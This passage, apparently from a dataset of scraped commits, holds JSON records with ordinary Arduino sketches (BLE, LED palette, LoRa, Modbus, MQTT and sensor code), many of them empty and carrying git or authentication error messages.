4);\n }\n }\n }\n }\n}\n\nbyte createHeader(byte command)\n{\n byte header = id << 3;\n header = header | command;\n return header;\n}\n\nvoid handleDataChange(byte dataType, int value) {\n if (dataType == 1){\n digitalWrite(ledPin, value == 0 ? LOW : HIGH);\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'android-slave\/android-slave.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0340e4623bbb490a1865ebffecf8448061cab66b","subject":"Fixes #9","message":"Fixes #9\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"59bf83ed00021bd0794ce3969851fdd3adf48e60","subject":"Added print for TCO.","message":"Added print for TCO.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e9550bec8037411e4aa6d2919ec5b81b184420c7","subject":"- remote service example: reads remote device name","message":"- remote service example: reads remote device name\n","repos":"possan\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral","old_file":"examples\/remote_service\/remote_service.ino","new_file":"examples\/remote_service\/remote_service.ino","new_contents":"\/\/ Import libraries (BLEPeripheral depends on SPI)\n#include <SPI.h>\n#include <BLEPeripheral.h>\n\n\/\/ define pins (varies per shield\/board)\n#define BLE_REQ 6\n#define BLE_RDY 7\n#define BLE_RST 4\n\n\/\/ create peripheral instance, see pinouts above\nBLEPeripheral blePeripheral = BLEPeripheral(BLE_REQ, BLE_RDY, BLE_RST);\n\n\/\/ create remote services\nBLERemoteService remoteGenericAttributeService = BLERemoteService(\"1800\");\n\n\/\/ create remote characteristics\nBLERemoteCharacteristic remoteDeviceNameCharacteristic = BLERemoteCharacteristic(\"2a00\", BLERead);\n\n\nvoid setup() {\n Serial.begin(9600);\n#if defined (__AVR_ATmega32U4__)\n while(!Serial); \/\/ wait for serial\n#endif\n\n blePeripheral.setLocalName(\"remote-attributes\");\n\n \/\/ set device name and appearance\n blePeripheral.setDeviceName(\"Remote Attributes\");\n blePeripheral.setAppearance(0x0080);\n\n blePeripheral.addRemoteAttribute(remoteGenericAttributeService);\n blePeripheral.addRemoteAttribute(remoteDeviceNameCharacteristic);\n\n \/\/ assign event handlers for connected, disconnected to peripheral\n blePeripheral.setEventHandler(BLEConnected, blePeripheralConnectHandler);\n blePeripheral.setEventHandler(BLEDisconnected, blePeripheralDisconnectHandler);\n blePeripheral.setEventHandler(BLERemoteServicesDiscovered, blePeripheralRemoteServicesDiscoveredHandler);\n\n \/\/ assign event handlers for characteristic\n remoteDeviceNameCharacteristic.setEventHandler(BLEValueUpdated, bleRemoteDeviceNameCharacteristicValueUpdatedHandle);\n\n \/\/ begin initialization\n blePeripheral.begin();\n\n Serial.println(F(\"BLE Peripheral - remote attributes\"));\n}\n\nvoid loop() {\n blePeripheral.poll();\n}\n\nvoid blePeripheralConnectHandler(BLECentral& central) {\n \/\/ central connected event handler\n Serial.print(F(\"Connected event, central: \"));\n Serial.println(central.address());\n}\n\nvoid blePeripheralDisconnectHandler(BLECentral& central) {\n \/\/ central disconnected event handler\n Serial.print(F(\"Disconnected event, central: \"));\n Serial.println(central.address());\n}\n\nvoid blePeripheralRemoteServicesDiscoveredHandler(BLECentral& central) {\n \/\/ central remote services discovered event handler\n Serial.print(F(\"Remote services discovered event, central: \"));\n Serial.println(central.address());\n\n if (remoteDeviceNameCharacteristic.canRead()) {\n remoteDeviceNameCharacteristic.read();\n }\n}\n\nvoid bleRemoteDeviceNameCharacteristicValueUpdatedHandle(BLECentral& central, BLERemoteCharacteristic& characteristic) {\n char remoteDeviceName[BLE_REMOTE_ATTRIBUTE_MAX_VALUE_LENGTH + 1];\n memset(remoteDeviceName, 0, sizeof(remoteDeviceName));\n memcpy(remoteDeviceName, remoteDeviceNameCharacteristic.value(), remoteDeviceNameCharacteristic.valueLength());\n\n Serial.print(F(\"Remote device name: \"));\n Serial.println(remoteDeviceName);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/remote_service\/remote_service.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1d58cbd01aaf7b2df3b1c958c95b03bd943af448","subject":"Create gradient_palette_full_range.ino","message":"Create gradient_palette_full_range.ino","repos":"marmilicious\/FastLED_examples","old_file":"gradient_palette_full_range.ino","new_file":"gradient_palette_full_range.ino","new_contents":"\/\/***************************************************************\n\/\/ This example displays the full range of a custom gradient\n\/\/ palette over the full range of a pixel string. This is done\n\/\/ by mapping the palette index to the pixel number.\n\/\/\n\/\/ More info on gradient palettes here:\n\/\/ https:\/\/github.com\/FastLED\/FastLED\/wiki\/Gradient-color-palettes\n\/\/\n\/\/\n\/\/ *Also Note*:\n\/\/ In order to support smooth blending for \"circular\" palettes,\n\/\/ each color blends with \"the next\", and in the case of the last\n\/\/ color, \"the next\" is the first color since it wraps around,\n\/\/ so the last 15 numbers are blending back toward index 0.\n\/\/ Sometime circular blending is very useful, other times it\n\/\/ might not be what you want. You can use index 240 as your\n\/\/ last value to avoid blending.\n\/\/\n\/\/ For this example I decided to Not have the display wrap back\n\/\/ around, so I'm specifically using a palette index of 0-240.\n\/\/\n\/\/ Marc Miller, Oct 2018\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\nCRGB leds[NUM_LEDS];\n#define BRIGHTNESS 128\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200);\n delay(500); \/\/ startup delay\n \/\/FastLED.addLeds<LED_TYPE, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\/\/ Create custom gradient palette\nDEFINE_GRADIENT_PALETTE( example_gp ) {\n 0, 0,0,255,\n 5, 0,0,255,\n 80, 0,255,0,\n130, 0,0,255, \n135, 0,0,255, \n205, 255,0,255,\n238, 255,0,0, \/\/ I'm making this my last color choice\n255, 255,0,0 }; \/\/ And then just duplicating it here\n\nCRGBPalette16 myPal = example_gp; \n\n\n\/\/---------------------------------------------------------------\nvoid loop () {\n\n for (uint8_t i=0; i<NUM_LEDS; i++) {\n uint8_t paletteIndex = map(i,0,NUM_LEDS-1,0,240); \/\/index is now based on pixel number\n leds[i] = ColorFromPalette( myPal, paletteIndex, BRIGHTNESS, LINEARBLEND);\n }\n \n FastLED.show();\n FastLED.delay(1000);\n\n}\/\/end_main_loop\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'gradient_palette_full_range.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dec0e3c9699b3f4d9d818c132d713b4f7a31138d","subject":"lik a switch case more \u2026","message":"lik a switch case more \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/SPI.ino","new_file":"ArduinoClient\/SPI.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"8087fac11b31a5ee55693628948ffc9ce0b39c19","subject":"Create LORA_repeater_user.ino","message":"Create LORA_repeater_user.ino","repos":"AlcorDust\/LORA_stuff,AlcorDust\/LORA_stuff","old_file":"LORA_Repeater\/LORA_repeater_user\/LORA_repeater_user.ino","new_file":"LORA_Repeater\/LORA_repeater_user\/LORA_repeater_user.ino","new_contents":"#include <RHReliableDatagram.h>\n#include <RH_RF95.h>\n#include <SPI.h>\n\n#define MY_ADDRESS 2\n#define TARGET_ADDRESS 1\n#define MAX_LEN 40\n\nRH_RF95 driver;\nRHReliableDatagram manager(driver, MY_ADDRESS);\n\nbool check = 0;\nuint8_t data[MAX_LEN];\nuint8_t buf[RH_RF95_MAX_MESSAGE_LEN];\n\nString outstr = \"\";\nbyte i;\nint SNR = 0;\nchar ricevuto[MAX_LEN];\nint count = 0;\n\nvoid setup() {\n\n Serial.begin(9600);\n\n manager.init();\n\n driver.setTxPower(23, false);\n\n Serial.println(\"# ---- Utente Ripetitore LORA ----\\n\");\n\n}\n\nvoid loop() {\n\n count ++;\n\n \/\/**********************************SPEDIZIONE\n\n outstr = \"\";\n outstr.concat(count);\n outstr.concat(\",\");\n outstr.concat(SNR);\n outstr.getBytes(data, outstr.length()+10);\n\n \/\/Serial.print(\"# Messaggio da spedire: \");\n \/\/Serial.println((char*)data);\n \/\/Serial.println(\"# Provo a spedire...\");\n\n \/\/ Spedisco la stringa all'indirizzo e vedo se l'invio \u00e8 andato a buon fine\n check = manager.sendtoWait(data, sizeof(data), TARGET_ADDRESS);\n\n if (check) {\n \/\/Serial.println(\"# Invio riuscito!\");\n } else {\n \/\/Serial.println(\"# Invio fallito!\");\n }\n\n delay(1000);\n\n \/\/**********************************RICEZIONE\n\n if (manager.available()) {\n\n \/\/Serial.println(\"# Manager available\");\n\n uint8_t len = sizeof(buf);\n uint8_t from;\n\n check = manager.recvfromAckTimeout(buf, &len, 2000, &from);\n\n if (check) {\n\n \/\/Serial.print(\"# Ricevuto messaggio da : 0x\");\n \/\/Serial.println(from, HEX);\n Serial.println((char*)buf);\n\n SNR = driver.lastSNR();\n\n } else {\n\n \/\/Serial.print(\"# Ricezione fallita\");\n\n }\n\n delay(1000);\n\n } \/\/ Manager available\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LORA_Repeater\/LORA_repeater_user\/LORA_repeater_user.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5094c3a1706fde1bed3dda3bac9e477e4f76c273","subject":"Removed diag prints on char received.","message":"Removed diag prints on char received.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"29c9fff012be0aad47c8b0d4d4ccf773b96d53c3","subject":"first version","message":"first version\n","repos":"zackernel\/zackernel,zacky1972\/zackernel","old_file":"sample\/blink_3leds.ino","new_file":"sample\/blink_3leds.ino","new_contents":"\/*\nMIT License\n\nCopyright (c) 2016 Susumu Yamazaki\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n*\/\n\n#include <functional-vlpp.h>\n\n#include <limits.h>\n\n\/\/#define DEBUG\n\n#define LED1 9\n#define LED2 10\n#define LED3 11\n\n#define TIC 100\n\nvoid null_func() {\n}\n\nclass Schedule {\n private:\n static Schedule *_queue;\n int _delay_time;\n Schedule *_prev;\n Schedule *_next;\n vl::Func<void(void)> _function;\n\n public:\n static void init() {\n _queue = new Schedule(0, null_func);\n _queue->link(new Schedule(INT_MAX, null_func));\n }\n\n static Schedule *queue() {\n return _queue;\n }\n\n Schedule(int delay_time, vl::Func<void(void)> func) {\n this->_delay_time = delay_time;\n this->_function = func;\n this->_prev = NULL;\n this->_next = NULL;\n }\n\n void link(Schedule *next) {\n this->_next = next;\n next->_prev = this;\n }\n\n\n int delay_time() {\n return _delay_time;\n }\n\n static Schedule *first() {\n return _queue->_next;\n }\n\n static int is_empty() {\n return _queue->_next->is_end();\n }\n\n Schedule *next() {\n return _next;\n }\n\n Schedule *prev() {\n return _prev;\n }\n\n void wait() {\n delay(this->_delay_time);\n }\n\n void call() {\n _function();\n }\n\n static void add(int delay_time, vl::Func<void(void)> func) {\n Schedule *s;\n for (s = queue(); delay_time >= s->_delay_time; s = s->_next) {\n delay_time -= s->_delay_time;\n }\n Schedule *n = new Schedule(delay_time, func);\n Schedule *p = s->_prev;\n p->link(n);\n n->link(s);\n if (!s->is_end()) {\n s->_delay_time -= delay_time;\n }\n }\n\n static Schedule *pull() {\n Schedule *ret_value = queue()->_next;\n if (ret_value->is_end()) {\n return ret_value;\n }\n Schedule *p = ret_value->_prev;\n Schedule *n = ret_value->_next;\n p->link(n);\n ret_value->_next = NULL;\n ret_value->_prev = NULL;\n return ret_value;\n }\n\n int is_end() {\n return (this->_next == NULL);\n }\n\n};\n\nSchedule* Schedule::_queue;\n\nvoid print_queue() {\n Serial.print(\"q:\");\n for(Schedule *s = Schedule::first(); !(s->is_end()); s = s->next()) {\n Serial.print(s->delay_time());\n Serial.print(','); \n }\n Serial.print('\\n');\n}\n\nvoid dispatch() {\n while(!Schedule::is_empty()) {\n #ifdef DEBUG\n print_queue();\n #endif\n Schedule *s = Schedule::pull();\n s->wait();\n s->call();\n delete s;\n } \n}\n\nvoid sleep(int time, vl::Func<void(void)> func) {\n Schedule::add(time, func);\n dispatch();\n}\n\nvoid fork(vl::Func<void(void)> func1, vl::Func<void(void)> func2) {\n Schedule::add(0, func1);\n Schedule::add(0, func2);\n dispatch();\n}\n\nvoid setup() {\n pinMode(LED1, OUTPUT);\n pinMode(LED2, OUTPUT);\n pinMode(LED3, OUTPUT);\n Schedule::init();\n Serial.begin(9600);\n}\n\nvoid led1() {\n digitalWrite(LED1, HIGH);\n sleep(TIC, [&] {\n digitalWrite(LED1, LOW);\n sleep(TIC, [&] {\n digitalWrite(LED1, HIGH);\n sleep(TIC, [&] {\n digitalWrite(LED1, LOW);\n sleep(TIC, [&] {});\n });\n });\n });\n}\n\nvoid led2() {\n digitalWrite(LED2, HIGH);\n sleep(TIC * 2, [&] {\n digitalWrite(LED2, LOW);\n sleep(TIC * 2, [&] {});\n });\n}\n\nvoid led3() {\n digitalWrite(LED3, LOW);\n sleep(TIC * 2, [&] {\n digitalWrite(LED3, HIGH);\n sleep(TIC * 2, [&] {});\n });\n}\n\nvoid loop() {\n fork(led1, [&] { fork(led2, led3); });\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'sample\/blink_3leds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f9c46b722391c01dbebbc8ca8898402529bb1ca3","subject":"Removed a reference to an LED in serial loopback that we dont' use","message":"Removed a reference to an LED in serial loopback that we dont' use\n\n - was breaking the build of the serial loopback example\n","repos":"PunchThrough\/PunchThrough-BEAN-Arduino-Firmware,PunchThrough\/PunchThrough-BEAN-Arduino-Firmware,PunchThrough\/PunchThrough-BEAN-Arduino-Firmware","old_file":"examples\/LightBlue Bean\/01.Basics\/SerialLoopback\/SerialLoopback.ino","new_file":"examples\/LightBlue Bean\/01.Basics\/SerialLoopback\/SerialLoopback.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LightBlue' did not match any file(s) known to git\nerror: pathspec 'Bean\/01.Basics\/SerialLoopback\/SerialLoopback.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d6549e949afb6089a4cd192b510ded552e54de54","subject":"Create simplemodbusmaster.ino","message":"Create simplemodbusmaster.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"simplemodbusmaster.ino","new_file":"simplemodbusmaster.ino","new_contents":"#include <SimpleModbusMaster.h>\n\n\/*\n The example will use packet1 to read a register from address 0 (the adc ch0 value)\n from the arduino slave (id=1). It will then use this value to adjust the brightness\n of an led on pin 9 using PWM.\n It will then use packet2 to write a register (its own adc ch0 value) to address 1 \n on the arduino slave (id=1) adjusting the brightness of an led on pin 9 using PWM.\n*\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Port information \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define baud 9600\n#define timeout 1000\n#define polling 200 \/\/ the scan rate\n#define retry_count 10\n\n\/\/ used to toggle the receive\/transmit pin on the driver\n#define TxEnablePin 2 \n\n#define LED 9\nlong randNumber; \n\/\/ The total amount of available memory on the master to store data\n#define TOTAL_NO_OF_REGISTERS 1\n\n\/\/ This is the easiest way to create new packets\n\/\/ Add as many as you want. TOTAL_NO_OF_PACKETS\n\/\/ is automatically updated.\nenum\n{\n PACKET1,\n PACKET2,\n TOTAL_NO_OF_PACKETS \/\/ leave this last entry\n};\n\n\/\/ Create an array of Packets to be configured\nPacket packets[TOTAL_NO_OF_PACKETS];\n\n\/\/ Masters register array\nunsigned int regs[TOTAL_NO_OF_REGISTERS];\n\nvoid setup()\n{\n \/\/ Initialize each packet\n modbus_construct(&packets[PACKET1], 1, READ_HOLDING_REGISTERS, 0, 1, 0);\n modbus_construct(&packets[PACKET2], 1, PRESET_MULTIPLE_REGISTERS, 1, 1, 0);\n \n \/\/ Initialize the Modbus Finite State Machine\n modbus_configure(&Serial, baud, SERIAL_8N2, timeout, polling, retry_count, TxEnablePin, packets, TOTAL_NO_OF_PACKETS, regs);\n \n pinMode(LED, OUTPUT);\n}\n\nvoid loop()\n{randNumber = random(200,255); \n\n modbus_update();\n \n \/\/regs[0] = analogRead(0); \/\/ update data to be written to arduino slave\n regs[0] = randNumber;\n \n\n \n \n \n \/\/analogWrite(LED, regs[0]>>2); \/\/ constrain adc value from the arduino slave to 255\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'simplemodbusmaster.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f8bfda9bb58b5ed6f13409f2db656286a8bcb20e","subject":"ok, this 'optimization' is destroying the roundings \u2026","message":"ok, this 'optimization' is destroying the roundings \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"f9f83bf8abe2a208dcdcca2920a0b80194a306ce","subject":"add ds18b20 sensor source code","message":"add ds18b20 sensor source code\n","repos":"liujin834\/linux-arduino-temperature-example,liujin834\/linux-arduino-temperature-example,liujin834\/linux-arduino-temperature-example,liujin834\/linux-arduino-temperature-example,liujin834\/linux-arduino-temperature-example,liujin834\/linux-arduino-temperature-example","old_file":"arduino\/ds18b20.ino","new_file":"arduino\/ds18b20.ino","new_contents":"#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/the pin you connect the ds18b20 to\n#define DS18B20 2\n\nOneWire ourWire(DS18B20);\nDallasTemperature sensors(&ourWire);\n\nvoid setup()\n{\n Serial.begin(9600);\n delay(1000);\n \/\/start reading\n sensors.begin();\n}\n\nvoid loop()\n{\n \/\/read temperature and output via serial\n sensors.requestTemperatures();\n Serial.print(sensors.getTempCByIndex(0));\n Serial.println(\" degrees C\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ds18b20.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b61617e524c52134aa03b6e561a77bcf72a75a05","subject":"Initial commit","message":"Initial commit\n","repos":"IPSW1\/RasPi_Station,IPSW1\/RasPi_Station,IPSW1\/RasPi_Station","old_file":"arduino\/sensor.ino","new_file":"arduino\/sensor.ino","new_contents":"#include <Wire.h>\n#include <SoftwareSerial.h>\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <dht.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BMP085_U.h>\n#include <LowPower.h>\n\n\/* Datapins for DS18B20, DHT22 and software serial\nThe BMP180 must be connected to the I2C interface *\/\n#define ONE_WIRE_PIN 9 \/\/DS18B20\n#define DHT22_PIN 6 \/\/DHT22\n#define softSer_RX 10 \/\/SoftwareSerial RX\n#define softSer_TX 11 \/\/SoftwareSerial TX\n\n\/\/Create entitis for the sensors and the software serial interface\nOneWire oneWire(ONE_WIRE_PIN);\nDallasTemperature sensors(&oneWire);\ndht DHT;\nAdafruit_BMP085_Unified bmp = Adafruit_BMP085_Unified(10085);\nSoftwareSerial bluetooth(softSer_RX, softSer_TX);\n\n\nvoid setup(){\n \/\/Start software serial with 9600 baud\n bluetooth.begin(9600);\n\n \/\/Initialize the BMP180\n bmp.begin();\n sensor_t sensor;\n bmp.getSensor(&sensor);\n sensors.begin();\n}\n\nvoid loop(){ \n \/\/Read temperature (DS18S20) \n sensors.requestTemperatures();\n \n \/\/Read humidity (DHT22)\n uint32_t start = micros();\n int chk = DHT.read22(DHT22_PIN);\n uint32_t stop = micros();\n\n \/\/Read pressure (BMP180)\n sensors_event_t event;\n bmp.getEvent(&event);\n \n \/\/Write data to the bluetooth module\n bluetooth.print(sensors.getTempCByIndex(0), 1);\n bluetooth.print(\";\");\n bluetooth.print(DHT.humidity, 1);\n bluetooth.print(\";\");\n bluetooth.print(event.pressure);\n bluetooth.println();\n \n \/\/Sleep for 10 minutes\n sleep();\n}\n\nvoid sleep() {\n for (int i = 0; i < 75; i++) {\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF); \n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5e7749c2f44432fe81504eebeab8b368236303b1","subject":"prototipagem para enviar","message":"prototipagem para enviar\n","repos":"digituoficial\/finger-web","old_file":"enviar\/enviar.ino","new_file":"enviar\/enviar.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include <PubSubClient.h>\n\nlong int TTS = 0;\n\/\/ Update these with values suitable for your network.\nbyte mac[] = { 0xDE, 0xED, 0xBA, 0xFE, 0xFE, 0xED };\nIPAddress ip(10, 210, 1, 21);\nIPAddress server(10, 210, 1, 20);\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (int i=0;i<length;i++) {\n Serial.print((char)payload[i]);\n }\n Serial.println();\n}\n\nEthernetClient ethClient;\nPubSubClient client(ethClient);\n\nvoid reconnect() {\n char mensagem[] = \"\";\n \/\/ Loop until we're reconnected\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n \/\/ Attempt to connect\n if (client.connect(\"arduinoClient\")) {\n Serial.println(\"connected\");\n while (true) {\n Serial.println(TTS); \n if (TTS % 2) {\n client.publish(\"teste\", \"digital reconhecida\"); \n } else { client.publish(\"teste\", \"digital desconhecida\");}\n delay(5000);\n client.subscribe(\"inTopic\");\n TTS++;\n }\n \/\/ ... and resubscribe\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\nvoid setup()\n{\n Serial.begin(57600);\n\n client.setServer(server, 1883);\n client.setCallback(callback);\n\n Ethernet.begin(mac, ip);\n \/\/ Allow the hardware to sort itself out\n delay(1500);\n}\n\nvoid loop()\n{\n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'enviar\/enviar.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"df65c5084de42853af6f4468fcf6c949d29a970d","subject":"Nightly","message":"Nightly\n\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"projects\/POC\/wifi-led-something\/wifi-led-something.ino","new_file":"projects\/POC\/wifi-led-something\/wifi-led-something.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bf7894350fcbb28f42f652af012364b04647c40d","subject":"Implemented average\/mean and standard deviation calculations, used on measurements. Will have to extend these to get mean and std. dev. from means and std. devs. of successive waveforms. This will do, for now. Implemented data_ready flag to prevent overwriting volatile vdata[] while doing calculations, without disabling\/detaching interrupts. It's clean and quick. The lasts tests, measuring ISR timing in relation to the motor emf signal and PWM waveform, were perfect. Now, back to the lab to test the actual ADC measurements, to see if they agree with the oscilloscope!","message":"Implemented average\/mean and standard deviation calculations, used on measurements. Will have to extend these to get mean and std. dev. from means and std. devs. of successive waveforms. This will do, for now.\nImplemented data_ready flag to prevent overwriting volatile vdata[] while doing calculations, without disabling\/detaching interrupts. It's clean and quick.\nThe lasts tests, measuring ISR timing in relation to the motor emf signal and PWM waveform, were perfect. Now, back to the lab to test the actual ADC measurements, to see if they agree with the oscilloscope!\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testInterrupts2\/testInterrupts2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dec2cdeec1f4b659aba93b81df86f16ac320e132","subject":"Adds first draft of Light Shield Arduino-side code.","message":"Adds first draft of Light Shield Arduino-side code.\n\n\nFormer-commit-id: 1fc5c1a00a6fde018c7f9df5f0b404e96cede603","repos":"thaeds\/igvc-software,dpattison3\/igvc-software,RoboJackets\/igvc-software,rqiu8\/igvc-software,sgadgil6\/igvc-software,vmurahari3\/igvc-software,sayakchatterjee\/igvc-software,sgadgil6\/igvc-software,rqiu8\/igvc-software,prabhu-dev\/LineDetectorLengthFix,kscharm\/igvc-software,dpattison3\/igvc-software,zachcmathews\/igvc-software,kscharm\/igvc-software,kscharm\/igvc-software,seanrsain\/igvc-software,DavidPurcell\/igvc-software,rmkeezer\/igvc-software,vmurahari3\/igvc-software,sgadgil6\/igvc-software,nareddyt\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thomaswyatt01\/igvc-software,monstorium\/igvc-software,rortiz9\/igvc-software,thomaswyatt01\/igvc-software,monstorium\/igvc-software,seanrsain\/igvc-software,thomaswyatt01\/igvc-software,sgadgil6\/igvc-software,ytulsiani\/igvc-software,rqiu8\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jzheng84\/igvc-software,jondolan\/igvc-software,jgkamat\/igvc-software,DavidPurcell\/igvc-software,thomaswyatt01\/igvc-software,seanrsain\/igvc-software,monstorium\/igvc-sof